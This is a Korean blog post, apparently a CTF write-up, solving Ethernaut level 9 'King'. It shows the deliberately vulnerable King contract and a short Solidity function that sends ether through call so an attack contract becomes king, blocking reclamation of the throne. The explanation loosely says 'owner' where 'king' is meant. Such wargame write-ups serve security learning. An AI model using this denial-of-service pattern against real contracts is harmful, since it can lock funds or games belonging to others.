본문 바로가기

CTF/Ethernaut

[Ethernaut] 9.King

Ethernaut levevl 9 의 요구사항

지금 상금보다 많은 ether를 넣으면 새로운 왕이 되는 게임이다. 그런데 instance를 제출하면 level이 king을 가져갈 것이다. 그것을 피해서 왕이 되어야 한다. 그리고 자기 자신이 받으면 안 된다. 

 

문제 컨트랙트에서 recevie()함수를 보면 prize보다 msg.value가 크거나 msg.sender가 owner여야 하는데 Onwer조건은 통과할 수 없어서 prize보다 많은 수량을 보내야 한다. prize변수를 찾아보면 1000000000000000이라고 되어 있으니 저것보다 많은 Eth를 날리면 된다. 

    function sendEthKin() external payable  {
           (bool sent, )=  king.call{value: msg.value}("");
           require(sent);
    }

문제의 King컨트랙트 주소에 call함수를 사용해서 날리면 owner가  Attack컨트랙트가 된다. 

 

 

level 9.King 코드 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

 

 

'CTF > Ethernaut' 카테고리의 다른 글

[Ethernaut] 11.Elevator  (0) 2024.02.08
[Ethernaut] 10.Re-entrancy  (0) 2024.02.05
[Ethernaut] 8.Vault  (0) 2024.02.01
[Ethernaut] 7.Force  (0) 2024.02.01
[Ethernaut] 6.Delegation  (2) 2024.01.31